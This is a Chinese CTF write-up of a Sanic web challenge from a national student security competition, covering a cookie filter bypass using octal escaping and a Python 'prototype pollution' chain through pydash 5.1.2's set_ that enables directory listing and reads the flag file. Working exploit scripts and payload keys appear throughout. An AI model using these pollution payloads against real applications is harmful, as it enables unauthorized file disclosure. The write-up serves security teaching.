WP | Python原型链污染赛题Sanic解析

WriteUp 3个月前 admin
165 0 0

WP | Python原型链污染赛题Sanic解析

出题思路

作者:12SqweR@GAMELAB
在第十七届全国大学生信息安全竞赛—创新实践能力赛初赛中,出了一道Sanic题目,该题的灵感源自于2023年度“十大Web黑客技术”提名活动中提到的Python原型链污染问题https://portswigger.net/research/top-10-web-hacking-techniques-of-2023-nominations-open),该漏洞的利用与Python语言特有的类继承机制紧密相关。
在以往的考题中,结合类继承机制的题目主要集中在模板注入和Python沙箱逃逸(pyjail)上。目前,网络上已经有关于一些流行框架的原型污染利用方法。为了增加新颖性,我们选择了在CTF竞赛中较少出现的Sanic框架作为挖掘污染链的基础,挑战的关键在于利用Sanic框架的静态文件目录列举功能,实现对目录的列举和文件的读取。

一血队伍解法

作者:CNSS-Hurrison

扫描路径发现 /src , 访问得到源码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static("/static/""./static/")
Session(app)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())

@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")

if __name__ == '__main__':
    app.run(host='0.0.0.0')

cookie 里面有个 ;  直接传会被截断,一眼考的 RFC2068 的编码规则
Many HTTP/1.1 header field values consist of words separated by LWS
or special characters. These special characters MUST be in a quoted
string to be used within a parameter value.

These quoting routines conform to the RFC2109 specification, which in
turn references the character definitions from RFC2068.  They provide
a two-way quoting algorithm.  Any non-text character is translated
into a 4 character sequence: a forward-slash followed by the  
three-digit octal equivalent of the character.  Any '' or '"' is
quoted with a preceeding '' slash.

Check for special sequences.  Examples:
   12 --> n
   "   --> "
登录拿到 admin
import requests

base = ''

s = requests.Session()

s.cookies.update({
    'user''"adm\073n"'
})

s.get(base + '/login')
pydash 标了版本,存在 python “原型链” 污染,分析源码得到 path 解析逻辑 pydash/utilities.py:1262
def to_path_tokens(value):
    """Parse `value` into :class:`PathToken` objects."""
    if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value

    return keys
提取出 RE_PATH_KEY_DELIM 正则表达式分析,结合题目过滤的 _.
(?<!\)(?:\\)*.|([d+])
发现 \. 会当作 .  进行处理,可以绕过题目的过滤,而 . 会作为 . 的转义不进行分割。接下来挖掘可污染变量,注意到注册的 static 路由会添加 DirectoryHandler 到 route
app.static("/static/""./static/")
directory_handler = DirectoryHandler(
    uri=uri,
    directory=file_or_directory,
    directory_view=directory_view,
    index=index,
)
如果将 directory_view 污染为 True , directory 污染为根目录即可列出根目录文件,猜测 flag 在根目录下。
接下来分析污染方法,注意 pydash 只能处理 listobjdict 而不能处理 tupleset 等对象,在分析时需要排除。
if isinstance(obj, dict):
    if allow_override or key not in obj:
        obj[key] = value
elif isinstance(obj, list):
    key = int(key)

    if key < len(obj):
        if allow_override:
            obj[key] = value
    else:
        if key > len(obj):
            # Pad list object with None values up to the index key so we can append the value
            # into the key index.
            obj[:] = (obj + [None] * key)[:key]
        obj.append(value)
elif (allow_override or not hasattr(obj, key)) and obj is not None:
    setattr(obj, key, value)
发现通过 app.router.name_index['__mp_main__.static'] 可以访问到 DirectoryHandler ,key 里面有个 . 。根据之前分析的正则可以使用 . 转义。DirectoryHandlerdirectoryPath 对象(这个 class 实现似乎和平台相关),分析发现污染 __parts 为分割的路径列表即可。
@classmethod
def _from_parts(cls, args, init=True):
    # We need to call _parse_args on the instance, so as to get the
    # right flavour.
    self = object.__new__(cls)
    drv, root, parts = self._parse_args(args)
    self._drv = drv
    self._root = root
    self._parts = parts
    if init:
        self._init()
    return self
那么可以得到污染 DirectoryHandler 的 exp
import requests

base = ''

s = requests.Session()

s.cookies.update({
    'user''"adm\073n"'
})

s.get(base + '/login')

# 开启目录浏览
data = {"key""__class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view""value"True}

# 污染目录路径
# data = {"key": "__class__\\.__init__\\.__globals__\\.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}

r = s.post(base + '/admin', json=data)

print(r.text)
访问 /static/ 得到 flag 文件名 24bcbd0192e591d6ded1_flag,最后污染 __file__/24bcbd0192e591d6ded1_flag访问 /src 得到 flag
data = {"key""__class__\\.__init__\\.__globals__\\.__file__""value""/24bcbd0192e591d6ded1_flag"}

r = s.post(base + '/admin', json=data)

print(r.text)

print(s.get(base + '/src').text)


+ + + + + + + + + + + 


关于伽玛实验室

     伽玛实验室(GAMELAB)聚焦网络安全竞赛研究领域,覆盖网络安全赛事开发、技术研究、赛制设计、赛题研发等方向。秉承“万物皆可赛”的信念,研究内容涉及WEB渗透、密码学、二进制、AI、自动化利用、工控等多个重点方向,并将5G、大数据、区块链等新型技术与网安竞赛进行融合,检验新型技术应用安全性的同时,训练网安人员的实战能力。同时,不断创新比赛形式,积极推动反作弊运动,维护网安竞赛健康长远发展。团队成员以95后为主,是支极具极客精神的年轻团队。

WP | Python原型链污染赛题Sanic解析


WP | Python原型链污染赛题Sanic解析

原文始发于微信公众号(春秋伽玛):WP | Python原型链污染赛题Sanic解析

版权声明:admin 发表于 2024年6月14日 上午9:31。
转载请注明:WP | Python原型链污染赛题Sanic解析 | CTF导航

相关文章